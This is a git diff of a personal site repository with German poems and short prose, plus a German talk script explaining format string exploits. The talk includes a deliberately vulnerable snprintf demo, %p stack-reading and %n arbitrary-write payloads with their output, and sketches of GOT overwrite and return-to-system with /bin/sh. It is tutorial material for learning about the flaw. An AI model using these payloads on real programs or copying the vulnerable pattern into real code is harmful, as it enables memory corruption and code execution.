12 | http://www.phrack.org/show.php?p=49&a=14 | ||
13 | |||
14 | </PRE></H1></BODY></HTML> | ||
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings new file mode 100644 index 0000000..7d6b591 --- /dev/null +++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings | |||
@@ -0,0 +1,367 @@ | |||
1 | Format String Exploits: | ||
2 | |||
3 | Heisst grundsaetzlich, die Eigenschaft der | ||
4 | f/s(n)printf/scanf - Funktionsfamilie | ||
5 | auszunutzen, dass sie eine va_args-liste | ||
6 | zum Uebergeben der Parameter und einen | ||
7 | String zum Beschreiben der Anzahl und Art | ||
8 | der Parameter benutzt. | ||
9 | |||
10 | syntax: | ||
11 | |||
12 | printf( char *format, param1, param2, ... ) | ||
13 | |||
14 | Wenn man einen C-Kurs mitmacht, wird einem | ||
15 | vermittelt, dass man in den Formatstring | ||
16 | eintragen soll, welche Paramater die printf | ||
17 | Funktion bekommen wird und wenn es | ||
18 | Inkonsistenzen zwischen dem Formatstring und | ||
19 | den Paramtern gibt, stuerzt das Programm ab. | ||
20 | Und genau an der Stelle beginnt der spannende | ||
21 | Part: wenn ein Programm abstuerzt, | ||
22 | wurde sicher Speicher der Applikation ueber- | ||
23 | schrieben und Ziel des Spiels ist es nun, zu | ||
24 | versuchen, gezielt Speicher mit uns geneigten | ||
25 | Werten zu ueberschreiben. Und unter uns: sooo | ||
26 | schnell schiesst man ein Programm nicht ab :) | ||
27 | Also schauen wir uns mal einen validen Aufruf | ||
28 | der Funktion an: | ||
29 | |||
30 | int main( ) { | ||
31 | int a, b; | ||
32 | a = 7; | ||
33 | b = 9; | ||
34 | |||
35 | printf( "%d %d\n", a, b ); | ||
36 | return 0; | ||
37 | } | ||
38 | |||
39 | In optimiertem Assembler sieht das so aus: | ||
40 | |||
41 | .LC0: | ||
42 | .string "%d %d\n" | ||
43 | main: | ||
44 | [ ... ] | ||
45 | pushl $9 | ||
46 | pushl $7 | ||
47 | pushl $.LC0 | ||
48 | call printf | ||
49 | [ ... ] | ||
50 | |||
51 | Dort steht, dass erst b und a auf den Stack | ||
52 | geschoben werden, danach die Adresse des | ||
53 | Formatstrings und schliesslich printf aufgerufen | ||
54 | wird. | ||
55 | |||
56 | In C ist es generell nicht der Fall, dass | ||
57 | Funktionen ueber die Parameter informiert werden, | ||
58 | die sie auf dem Stack erhalten, das geben sie | ||
59 | naemlich beim Compilen an und erwarten dann auf | ||
60 | dem Stack auch genau diese Parameter vorzufinden. | ||
61 | |||
62 | Einzige Ausnahme bildet ein Konstrukt namens | ||
63 | va. Das bedeutet "Varibale Argumentenliste". Die | ||
64 | Funktion printf arbeitet dann auch wie folgt: | ||
65 | |||
66 | int printing( const char *fmt, ...) { | ||
67 | va_list ap; | ||
68 | char output[1024]; | ||
69 | |||
70 | va_start(ap, fmt); | ||
71 | |||
72 | while( *fmt ) { | ||
73 | if( *fmt != '%' ) { | ||
74 | putc( *fmt++ ); | ||
75 | } else { /* Parameter substituieren */ | ||
76 | switch( *++fmt ) { | ||
77 | case 'd': | ||
78 | int a = va_arg( ap, int ); | ||
79 | /* Zahl a ausgeben */ | ||
80 | break; | ||
81 | case 's': | ||
82 | char *s = va_arg( ap, char *); | ||
83 | /* String ausgeben */ | ||
84 | .... | ||
85 | } | ||
86 | } | ||
87 | |||
88 | va_end(ap); | ||
89 | } | ||
90 | |||
91 | Hinter der ganzen vargs Magie verbergen sich aber | ||
92 | nur diese drei (jetzt mal von mir leicht | ||
93 | vereinfachten) Makros: | ||
94 | |||
95 | #define va_start(ap, var) ((ap) = (va_list)&var) | ||
96 | |||
97 | #define va_arg(ap, type) *(((type *)ap++)) | ||
98 | |||
99 | #define va_end(ap) | ||
100 | |||
101 | In Wirklichkeit wird da noch ein wenig am Alignment | ||
102 | der Variablen geschraubt, aber im Groben stellt dies | ||
103 | schon dar, wie variable Argumentlisten behandelt | ||
104 | werden: printf holt einfach vom Stack ab, egal, ob da | ||
105 | was drauf steht, oder nicht. | ||
106 | |||
107 | Was drauf stehen tut aber immer, naemlich Ruecksprung- | ||
108 | adressen und der Stack der aufrufenden Funktionen. | ||
109 | Und das koennen wir uns mal angucken: | ||
110 | |||
111 | int main( ) { | ||
112 | int a = 0x23232323; | ||
113 | |||
114 | printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n"); | ||
115 | return 0; | ||
116 | } | ||
117 | Liefert einen output von: | ||
118 | |||
119 | 0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1 | ||
120 | |||
121 | Und gugge da: wir erkennen doch da glatt unser | ||
122 | nicht ganz zufaellig gewaehltes a wieder. | ||
123 | |||
124 | %p ist der Bezeichner fuer einen ganz normalen | ||
125 | pointer, also 4 bytes, die vom Stack geholt | ||
126 | und in der 0xn Notation angezeigt werden. | ||
127 | |||
128 | Aber printf kann mehr: | ||
129 | |||
130 | int a; | ||
131 | |||
132 | printf ( "Ich bin 23 Zeichen lang%n\n", &a); | ||
133 | printf ( "Und printf hat's gezaehlt: %d", a); | ||
134 | |||
135 | Liefert als Ausgabe: | ||
136 | |||
137 | Ich bin 23 Zeichen lang | ||
138 | Und printf hat's gezaehlt: 23 | ||
139 | |||
140 | Was ist passiert? Printf erwartet bei einem %n, dass | ||
141 | auf dem Stack der Zeiger auf ein int liegt, in das | ||
142 | er die Anzahl der in diesem Funktionsaufruf | ||
143 | ausgegebnen Zeichen schreibt. Nicht auszumalen, was | ||
144 | passiert, wenn auf dem Stack gar keine solide Adresse | ||
145 | liegt :) | ||
146 | |||
147 | Printf bietet uns also einen ganz soliden Weg, den | ||
148 | Stack zu inspizieren und aktiv Speicher zu veraendern. | ||
149 | Bliebe die Frage, warum sollte uns ein Programm den | ||
150 | Weg ebnen, den Formatstring selbst zu waehlen. Da gibt | ||
151 | es zwei Erklaerungen: | ||
152 | 1. bieten einige Programme fuer formatierte Textausgabe | ||
153 | dem Benutzer an, selber Formatstrings anzugeben. | ||
154 | Dies ist aber nicht so spannend, da der String | ||
155 | meist sehr genau geprueft wird, allerdings gibt es | ||
156 | einen exploit fuer den Mail-Reader mutt, der genau | ||
157 | ueber einen solchen Formatierungsstring anfaellig | ||
158 | war | ||
159 | 2. Ist es dem printf egal, ob man ihm nun wirklich einen | ||
160 | Zeiger auf den Formatstring gegeben hat, oder den | ||
161 | Zeiger auf IRGENDEINEN String, der ausgegeben werden | ||
162 | soll. Typischer BASIC Programmierstil ist: | ||
163 | |||
164 | A = "Hallo" | ||
165 | PRINT A | ||
166 | |||
167 | in C: | ||
168 | |||
169 | char *a = "Hallo"; | ||
170 | printf( a ); | ||
171 | |||
172 | funktioniert auch hervorragend, solange der String | ||
173 | a keine printf - control characters, naemlich "%"'s | ||
174 | enthaelt. | ||
175 | |||
176 | Genug der Theorie, in der Praxis sieht sowas dann ganz | ||
177 | schlicht so aus: | ||
178 | |||
179 | int main( int argc, char **argv ) { | ||
180 | char buffer[ 256 ]; | ||
181 | |||
182 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
183 | |||
184 | return 0; | ||
185 | } | ||
186 | |||
187 | Man beachte, dass der Programmierer sich grosse Muehe | ||
188 | gegeben hat, buffer-overflows zu vermeiden, indem er | ||
189 | sichere Variante von sprintf, das snprintf benutzt hat, | ||
190 | damit auch wirklich maximal 32 bytes in den Buffer | ||
191 | gelangen. Allerdings hat er beim String, der geschrieben | ||
192 | werden soll, geschlampt: die Zeile muesste richtig lauten | ||
193 | |||
194 | snprintf( buffer, sizeof buffer, "%s", argv[1] ); | ||
195 | |||
196 | Nun, was tut dieses Funktion? Schreibt in den Buffer mit | ||
197 | maximal 32 Zeichen den String argv[1], also das erste | ||
198 | Kommandozeilenargument der Funktion. Aber tut es das auch | ||
199 | wirklich? Nur, wie gesagt, solange im String keine '%' | ||
200 | stehen, aber solche Zeichen in die Kommandozeile einzu- | ||
201 | tippern kriegen wir doch noch hin :) | ||
202 | |||
203 | Es gibt noch das kleine Problem, dass der Printf halt in | ||
204 | einen Buffer und nicht auf den Screen schreibt, das laesst | ||
205 | sich aber leicht loesen, indem wir entweder einen Debugger | ||
206 | benutzen, um den Inhalt des Buffers auszulesen, oder ein- | ||
207 | fach wieder printf dafuer benutzen, sieht dann so aus: | ||
208 | |||
209 | int main( int argc, char **argv ) { | ||
210 | int test = 0x23232323; | ||
211 | char buffer[ 256 ]; | ||
212 | |||
213 | printf( "test auf: %p\n", &test ); | ||
214 | printf( "test enthaelt: %x\n\n", test); | ||
215 | |||
216 | snprintf( buffer, sizeof buffer, argv[1] ); | ||
217 | |||
218 | printf( "%s\n", buffer); | ||
219 | printf( "test enthaelt: %x\n\n", test); | ||
220 | |||
221 | return 0; | ||
222 | } | ||
223 | |||
224 | Ich habe nun noch eine Variable eingefuegt, an der wir | ||
225 | ein wenig rumspielen wollen: Dessen Adresse wuerde man | ||
226 | wieder mit einem debugger herausfinden, hier benutz ich | ||
227 | printf, auch den aktuellen Wert geb ich einmal vor und | ||
228 | einmal nach der "Attacke" aus. | ||
229 | Das compilete Programm wirft mir folgendes raus: | ||
230 | |||
231 | # ./vuln Probierung | ||
232 | test auf: 0xbfbff6d4 | ||
233 | test enthaelt: 0x23232323 | ||
234 | |||
235 | Probierung | ||
236 | test enthaelt: 0x23232323 | ||
237 | |||
238 | Nuescht besonderes. Probieren wir nun mal ein bisschen | ||
239 | mit den Formatstrings rum: | ||
240 | |||
241 | # ./vuln "AAAA%p %p %p %p %p %p %p %p %p" | ||
242 | test auf: 0xbfbff6c0 | ||
243 | test enthaelt: 0x23232323 | ||
244 | |||
245 | AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666 | ||
246 | test enthaelt: 0x23232323 | ||
247 | |||
248 | Als erstes sehen wir, dass sich die Adressse von test | ||
249 | (das sich ja im Stack befindet) variiert. Das liegt | ||
250 | daran, dass die Kommandozeilenparameter im Stack abgelegt | ||
251 | werden. Wir koennen aber mit Anfuerungszeichen und vielen | ||
252 | Spaces ueber die gesamte Testphase fuer einen konstanten | ||
253 | offset sorgen. | ||
254 | Zweitens liegt, wie eben erwaehnt, auch der Format-String | ||
255 | nocheinmal im Stack weiter oben rum, die 0x41414141 sind | ||
256 | unsere AAAA in der Kommandozeile. | ||
257 | |||
258 | Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin | ||
259 | entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer | ||
260 | weniger und tun dafuer ein %n hin: | ||
261 | |||
262 | # ./test "AAAA%p %p %p %p %p %p%n %p %p" | ||
263 | test auf: 0xbfbff6c0 | ||
264 | test enthaelt: 0x23232323 | ||
265 | |||
266 | Segmentation fault (core dumped) | ||
267 | |||
268 | Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt | ||
269 | nicht mit den Formatstrings rum. Aber was genau hab ich jetzt | ||
270 | kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n | ||
271 | vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau | ||
272 | bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als | ||
273 | naechstes 0x41414141. Und dieser Wert wird ja nun bei einem | ||
274 | %n als Adresse einer int interpretiert, an die der aktuelle | ||
275 | Character-Count geschrieben werden soll. Und an 0x41414141 | ||
276 | befindet sich kein lesbarer Speicher. Also kein Geheimnis. | ||
277 | Aber wer jetzt einen Exploit entdeckt hat, soll sich mal | ||
278 | melden. Genau... die 0x41414141 kommt ja direkt aus unserem | ||
279 | Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege | ||
280 | da jetzt naeher, dort mal eine valide Adresse hinzuschreiben? | ||
281 | Wir haetten da sogar noch eine ueber: | ||
282 | 0xbfbff6c0 | ||
283 | Da liegt naemlich die Variable test und es ist sogar eine int. | ||
284 | Als String sieht die Adresse so aus: Àö¿¿ | ||
285 | Ungewoehnlich, aber wat solls, solange kein % und kein \000 | ||
286 | dabei ist, soll uns das nicht stoeren :) | ||
287 | Wir probieren das einfach mal aus: | ||
288 | |||
289 | # ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p" | ||
290 | test auf: 0xbfbff6c0 | ||
291 | test enthaelt: 0x2323232323 | ||
292 | |||
293 | Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666 | ||
294 | test enthaelt: 0x42 | ||
295 | |||
296 | An der Stelle, wo da zwei Leerzeichen hintereinander sind, | ||
297 | wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt | ||
298 | 0x42. | ||
299 | |||
300 | Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum | ||
301 | Doppelleerzeichen 66 ausgegebene Characters. | ||
302 | |||
303 | Wir haben es also geschafft, an eine beliebige Adresse einen | ||
304 | leider noch einigermassen zufaelligen Wert zu schreiben, das | ||
305 | soll sich jetzt aendern. Was wir brauchen, ist eine wohl- | ||
306 | bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden. | ||
307 | Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen, | ||
308 | damit wir mit ihnen rechnen koennen. Dat jeht so: | ||
309 | |||
310 | # ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p " | ||
311 | test auf: 0xbfbff6c0 | ||
312 | test enthaelt: 0x23232323 | ||
313 | |||
314 | Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666 | ||
315 | test enthaelt: 0x3D | ||
316 | |||
317 | und mit der letzten koennen wir noch ein wenig spielen: | ||
318 | |||
319 | ./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n " | ||
320 | test auf: 0xbfbff6b0 | ||
321 | test enthaelt: 0x23232323 | ||
322 | |||
323 | °ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337 | ||
324 | test enthaelt: 0x42424242 | ||
325 | |||
326 | Ich musste fuer die grossen Zahlen leider noch ein wenig an der | ||
327 | Adresse von test rumspielen, aber im Prinzip ist zu erkennen, | ||
328 | dass ich an jede Adresse jeden Wert schreiben kann. Was habe | ||
329 | ich getan? Man kann fuer Zahlenkonvertierungen in printf eine | ||
330 | width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt | ||
331 | wird, wenn die Zahl nicht breit genug wird. Und das koennen nu | ||
332 | auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man | ||
333 | auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn | ||
334 | man mal eine valide Adresse wohin schreiben will. Und netterweise | ||
335 | liefert printf nun auch nicht die Zahl der geschriebenen Zeichen, | ||
336 | sondern die der "theoretisch" geschriebenen in %n zurueck, was | ||
337 | dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen... | ||
338 | |||
339 | Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen, | ||
340 | man uebergibt diesen einfach mit im Formatstring und kann die | ||
341 | Einsprungadresse punktgenau auf den Stack werfen. Waere aber | ||
342 | eigentlich eine Schande, denn Formatstringexploits sind so fili- | ||
343 | gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen | ||
344 | return adressen eigentlich nur raten. | ||
345 | |||
346 | Viel eleganter ist es, die GOT des binaries zu veraendern. | ||
347 | Dies ist die global object table, und dort hinein kommen fuer | ||
348 | alle Funktionen, die aus Libraries eingebunden werden, die | ||
349 | Adressen. Der Vorteil ist, dass bei fast allen Standard- | ||
350 | anwendungen die GOT ungefaehr gleich aussieht. Wenn man die | ||
351 | Adresse des fopen-calls einfach mit der des system-calls ueber- | ||
352 | schreibt, koennte man einen Teil des formatstrings glatt von | ||
353 | einer Shell interpretieren lassen. | ||
354 | |||
355 | Dies ist insoweit im Moment spannend, da ernsthaft damit ange- | ||
356 | fangen wird, den Stack non-executable zu mappen und damit buffer | ||
357 | overflows und darin befindlicher Shellcode zu verhindern. | ||
358 | |||
359 | Dies liesse noch Spielraum fuer eine weitere Option, naemlich | ||
360 | die Ruecksprungadresse der printf-aufrufenden Funktion zu | ||
361 | ueberschreiben und zwar mit der Einsprungadresse von system, | ||
362 | wenn man davor eine Adresse irgendwo im eigenen Formatstring | ||
363 | hinpackt, kann man den Formatstring wie folgt gestalten: | ||
364 | |||
365 | "/../../../../../../../../../bin/sh" | ||
366 | |||
367 | die ../'s sind naemlich eigentlich auch NOPs. | ||
diff --git a/stories/poetry/MeinVortrag/templ.html b/stories/poetry/MeinVortrag/templ.html new file mode 100644 index 0000000..4592390 --- /dev/null +++ b/stories/poetry/MeinVortrag/templ.html | |||
@@ -0,0 +1,7 @@ | |||
1 | <HTML><HEAD></HEAD><BODY><H1><PRE> | ||
2 | <A HREF="1.html"><-</A><A HREF="1.html">-></A> | ||
3 | |||
4 | |||
5 | |||
6 | |||
7 | </PRE></H1></BODY></HTML> | ||
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@@ -0,0 +1,17 @@ | |||
1 | <!-- | ||
2 | .. title: Sein Sohn | ||
3 | .. date: 2004/09/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | "Ach weißt du, mein Junge, damals war alles ein wenig komplizierter, als heute. Da gab es einen König, der war groß und mächtig, und das nur, weil er behauptete, alle Menschen mit großen Ohren seien dümmer und generell schlechter,als die mit kleinen Ohren und das gefiel den Menschen mit kleinen Ohren natürlich und es wurden Experimente gemacht und alle Menschen mit großen Ohren sollten das Königreich verlassen und alle, die es trotz großer Ohren nicht verlassen wollten, wurden eingesperrt, damit kein Kleinohriger mehr den anstößigen Anblick großer Ohren ertragen mußte. | ||
8 | |||
9 | Da es dem König aus dem Nachbarreich egal war, welche Ohren die Menschen hatten und sich die beiden Könige noch nie leiden konnten, begann ein Krieg zwischen den Königreichen. | ||
10 | |||
11 | Da begab es sich eines Tages, daß eine Frau mit ihrem Sohn beim Hofe des Königs Einlass begehrte, verlangte den König zu sprechen, ihre Kapuze lüftete, welche den Blick auf besonders große Ohren freigab, und die empörte Verdutztheit über frei herumlaufende Großohren ausnutzte, sich an der Torwache vorbeizudrängeln. | ||
12 | |||
13 | Im Hofstaat angekommen, behauptete sie, daß ihr Sohn vom König sei und daß sie das auch beweisen könne und nachdem sie es bewies und da das bedeutete, daß der König gelogen und Großohrige nicht immer verachtet hatte und somit seine Macht verloren hätte, wurde beschlossen, die Frau nicht vorzulassen und niemandem weiter von der Sache zu erzählen und sie und ihr Sohn verschwanden im Kriegsgetümmel." | ||
14 | |||
15 | "Und, Opa... wenn niemand weiter davon gewußt hat ... dann warst du also dieser Junge?" | ||
16 | |||
17 | "Nein - ich habe ihn erschlagen." | ||
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@@ -0,0 +1,27 @@ | |||
1 | <!-- | ||
2 | .. title: Unreal | ||
3 | .. date: 2005/07/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Unreal ist er, der Gedanke,<br/> | ||
8 | der uns beide verbindet.<br/> | ||
9 | Teils laengst gestorben<br/> | ||
10 | und beerdigt<br/> | ||
11 | und fleissig mit Traenen<br/> | ||
12 | und Giesskannen begossen<br/> | ||
13 | und mit Bluemchen<br/> | ||
14 | und Straeuchern bepflanzt<br/> | ||
15 | und wiederherbeigefleht<br/> | ||
16 | und doch gefuerchtet<br/> | ||
17 | und verwunschen<br/> | ||
18 | und vielleicht rastloser<br/> | ||
19 | und unheiliger Geist nur<br/> | ||
20 | und fluechtend aus kaltem<br/> | ||
21 | und nassem Grabe<br/> | ||
22 | und auf der Jagd, mich<br/> | ||
23 | und dich ungluecklich<br/> | ||
24 | und allein zu sehen.<br/> | ||
25 | Teils immer noch da<br/> | ||
26 | und tausenfach um uns herum<br/> | ||
27 | und nur nicht fuer mich. | ||
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@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 1 | ||
3 | .. date: 2000/12/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Geht nicht, mein ich. Man kann nicht schreiben, was keiner wissen will. Und wenn ich dir wirklich soviel bedeute, kann es besser sein, daß wir uns sofort voneinander trennen ohne, daß du merkst, was ich eigentlich wirklich von dir will. Bedenke: bei allem, was immer ich auch von mir gebe, du wirst nie daß, was ich gerade denke und fühle, in Erfahrung bringen. Denke nicht, daß du jetzt weißt, was ich sagen will, ich weiß es selber nicht. Warum auch? Aus der bloßen Tatsache, daß wer was schreibt, schließe nicht, daß ich auch irgendwas zu sagen habe. Und laß dich bloß nicht von mir belehren, wie du mit dem umzugehen hast, was ich dir eh vorenthalte. Denn nichts ist, wie es scheint und Floskeln machen Texte länger, erhöhen aber den Aussagegehalt genau so wenig, wie rhetorische Anfragen an dich, nicht wahr. Du meinst, alles, was du bis jetzt lesen konntest, läßt dich ein Bild von mir bilden, was, wenn jetzt etwas ganz Unerwartetes kommt? Scheiße. Trennst du Müll, bringt es was? Wählst du etwa? Interessierst dich Politik? Hast du Ahnung von Vögeln? Und magst du platte oder schlüpfrige Doppeldeutigkeiten? Paßt es dir, daß ich dich duze? Mußt das ja nicht lesen. War sicherlich eh nicht für dich geschrieben, also reg dich nicht auf und lies brav weiter, sei doch aber nicht so passiv und erwarte vor allem nicht, daß ich dir sage, was du zu tun hast, glaube mir aber alles, was du sagst. Wartest du auf Wahrheiten? Das Orakel ist müde und Poesie ist nur etwas für Ausgeschlafene. Können wir nicht einfach gute Freunde sein und alles brüderlich teilen? Bloß nicht mein Wissen, aber wahr ist doch eh nur, was du auch wahr haben willst, warum gehst du nicht und machst dir deine eigenen Gedanken. 9 mal 2 ist 12. Wenn wir doch nur die selbe Basis hätten. Und steckt nicht in jeder Lüge ein Körnchen Wahrheit und wurzelt nicht jeglicher Fortschritt in der Unwahrheit, gehen dir meine Assoziationen zu weit? Und ist all mein Schaffen nicht Teil einer gigantischen Verschwörung von der du ob ihrer Komplexität bisher nichts ahntest, oder soll ich dafür wieder das Bild des Hamsters in seinem fortschrittsbehindernden Umfeld bemühen. Ich erfülle meine Voraussagung aber will mich nicht selber zitieren, schau selbst, was ich meinen könnte, vielleicht denkst du ja jetzt doch schon, wie ich, mag sein, du wolltest es gar nicht. Man hätte aber mal darüber nachdenken können. | ||
diff --git a/stories/poetry/aussage2.md b/stories/poetry/aussage2.md new file mode 100644 index 0000000..8c48ee7 --- /dev/null +++ b/stories/poetry/aussage2.md | |||
@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 2 | ||
3 | .. date: 2000/12/02 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Ich finde Texte einfach zum Kotzen. Ich hasse Provokationen. Du solltest versuchen, diesen Text weder als Provokation noch als Text aufzufassen oder deine Attitüde zu der meinen verschieden wählen. Oder einfach aufhören diesen provozierenden Text zu lesen oder vielleicht einfach selber entscheiden, wovon du dich provoziert fühlst, gib nichts auf meine Auffassungen von mir selbst, oder dem Bild, welches ich von dir habe, entsprich ihm. Du hast eh keine Wahl. Stell dir lieber vor, welches Bild ich von dir habe und überdenke deines. Warum ich wohl sowas schreib und warum du es dann auch noch liest, sind wir uns nun deswegen ähnlich oder gerade nicht? Manipulier ich dich? Glaubst du, daß du merkst, wie ich dich manipuliere, warum hörst du nicht auf, zu lesen? Bist du der Meinung, die Kontrolle zu behalten? Funktioniert so Politik, wählst du dir deine Gesprächspartner nicht normalerweise gründlicher aus, was meinst du, wie wohl dialogische Kommunikation zwischen uns aussähe? Meinst du, du wüßtest, was zu sagen wäre, meinst du, ich wüßte es? Denkst du, du erfährst hier mehr über mich, als wenn du auch was zu sagen hättest, denkst du, du erfährst irgendetwas über mich, denkst du, ich wäre durchschaubar? Was hältst du von Texten? Dumme Frage. Auch sehr kategorisch, meine Meinung, findest du nicht? Kategorisierst du damit nicht auch? Ich denke nicht. War es zu offensichtlich? Nimmt der Strom nicht seltsam verschlungene Wege, ist es doch gottgegeben oder widerspricht sich das garnicht oder sollte ich mir als Atheist auch kein Bildnis machen? Soll ich nun provozieren? Ist Religion nicht ein heikles Thema, oder kommt das auf den Gegenüber an? Liest es sich noch so leicht ohne Führung? Konntest du mir folgen? Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Und guck mich gefälligst an, wenn ich mit dir rede. Und sitz nicht so nachdenklich da, sag was. Achte nicht auf die Menschen um dich herum. Es tut gut, was zu sagen. Kritisiere, was du gerade liest und begehre dagegen auf. Erkenne die Schwachstellen und lass dich nicht beeinflussen. Und denke später darüber nach. Tu, wonach dir ist und gib nichts auf gutgemeinte lebensfremde Phrasen, aber lies erst zuende. Ist ja nicht mehr weit und sicherlich hättest du auch so getan, wonach dir ist. Denkst du. Nein, du tust es ja nicht mal. Und wirst es auch nicht. Ich auch nicht. | ||
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@@ -0,0 +1,7 @@ | |||
1 | <!-- | ||
2 | .. title: Aussage 3 | ||
3 | .. date: 2000/12/03 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Und da sitzen wieder zwei Menschen, zeitversetz, aber fast gegenüber, vor fast der selben Menge Wort. Für den einen ist sie noch nicht einmal fertig, für den anderen weitestgehend unverständlich. Das macht aber nichts. Bis jetzt haben nämlich beide keine Ahnung, was darin steht. Und seltsamerweise aendert sich da mit jedem Wort, ebenfalls für beide. Und das macht durchaus etwas aus. Zeigt es denn nicht, daß man sich auf den anderen einläßt? Nein. Denn der eine weiß nichts vom Anderen, außer dem Offentsichtlichem. Wahrscheinlich könnten sich beide nicht einmal leiden. Soll ich deutlicher werden? Im Passiv zu schreiben wirkt zu nachdenklich. Man sollte ja denken, daß ich genug Zeit zum Nachdenken gehabt hätte. Wenn nicht kannst du ja fuer mich weiter denken. Dir bleibt ja wohl noch genug Zeit dafür. Eigentlich verpflichtest du dich ja dadurch, daß du weiterliest, geradzu dazu. Man kann ja nicht an alles denken. Man sollte nicht zu fordernd sein. Man ist ja auch nicht mehr der Jüngste. Man flüchtet sich zu leicht wieder ins Passiv. Und reiht sinnlos Hauptsätze aneinander. Eigentlich hab ich gar keine Lust weiterzuschreiben. Ehrlich. Und du? Ehrlich, hast du eben ans weiterlesen oder weiterschreiben gedacht? Man, läßt du dich leicht in eine Rolle weisen!? Hast du dich jemals gefragt, ob dein ganzes Leben ein perfides Spiel ist. Eingefädelt zur Belustigung. Und bestimmt nicht deiner. Aber würdest du dann darauf hingewiesen werden? Wäre ja nicht in derem Sinne. Ist also dieser Text der Beweis, dass dem nicht so ist? Oder gerade? Oder gerade deswegen wieder nicht? Oder ab welcher Metaebene? Was hat das eigentlich mit diesem Text zu tun. Du schweifst ab! Lies gradliniger! Und sitz gerade! Muss man dich denn immer erinnern? Beim nächsten Mal fängst du wieder von vorne an. Sollte man man drüber nachdenken, aber nicht jetzt. Das lenkt zu sehr vom Lesen ab. Da gibt es nichts bei zu denken. War ja auch nicht abzusehen, dass wir so weit kommen. Und nun? Was sollen wir hier? Vielleicht mal rekapitulieren. Meinst du, daß du ansprechender schreiben würdest, als ich, daß dir deine Texte besser gefallen würden, als meine? Warum machst du dan keine? Das ist gar nicht so schwer. Ich werd es nicht lesen. Jemand anderes wird. Genau das hab ich mir nämlich auch gedacht. Vielleicht bist du ja der erste. Bilde dir nichts darauf ein! Das mach ich ja auch nicht. | ||
diff --git a/stories/poetry/baecker.md b/stories/poetry/baecker.md new file mode 100644 index 0000000..dcd9177 --- /dev/null +++ b/stories/poetry/baecker.md | |||
@@ -0,0 +1,32 @@ | |||
1 | <!-- | ||
2 | .. title: Bäcker | ||
3 | .. date: 2002/01/01 | ||
4 | .. tags: poetry | ||
5 | --> | ||
6 | |||
7 | Ne Baeckerlehre. Irgendwas profanes. Da hat man sich dann schon einmal durchgerungen, am Kaffeetisch im Familien- und Freundeskreis der Eltern teilzunehmen, faehrt extra raus in die Pampa und dann das. | ||
8 | |||
9 | Computerexperte. | ||
10 | |||
11 | VERDAMMT! | ||
12 | "Mein Sohn ist Computerexperte!" Und das mit einem Laecheln, dass dieses Wort nach "Bundeskanzler" klingen laesst, oder "Bankdirektor". Nun weiss man, dass man verloren hat. | ||
13 | |||
14 | Alles kommt wieder hoch. All diese "Mutti, du kennst dich doch mit diesem Betriebssystem viel besser aus, als ich". Nein tut sie nicht und dann beweist sie, waehrend man schwitzend durch irgendwelche Systemsteuerungshilfen clickt, dass sie es doch besser weiss. Klar sie wuerden es alleine schaffen, jedes Mal, aber sie brauchen einen ja, damit man die Fehler macht, die sie vermeiden wollen, nur um dann ganz generoes darueber hinwegschauen zu koennen und einem ganz unauffaellig zu zeigen, wieviel Erfahrung sie schon gesammelt haben. Als ob das nun nicht schon alles genug waere, und Telefon- und Benzinkosten beliebiger Hoehe verursacht haette, sitzt man an dieser bekloppten Kaffeetafel und schluckt und versucht, alle Aehnlichkeit mit Bill Gates zu vermeiden, stopft sich mehr Kuchen in den Mund und schluckt und versucht, nicht wie ein voelliger Trottel auch noch rot zu werden, als ob man stolz drauf sei. Aber eigentlich weiss man, dass es keinen Zweck hat. Man hat verloren. | ||
15 | |||
16 | Das sieht man daran, dass einen alle mit so ganz anderen Augen angucken. Man ist ploetzlich ein Nuetzling. Ein Trottel zwar, aber nuetzlich. Und man sieht an seinem inneren Augen schon die Situationen vorbeihuschen: | ||
17 | |||
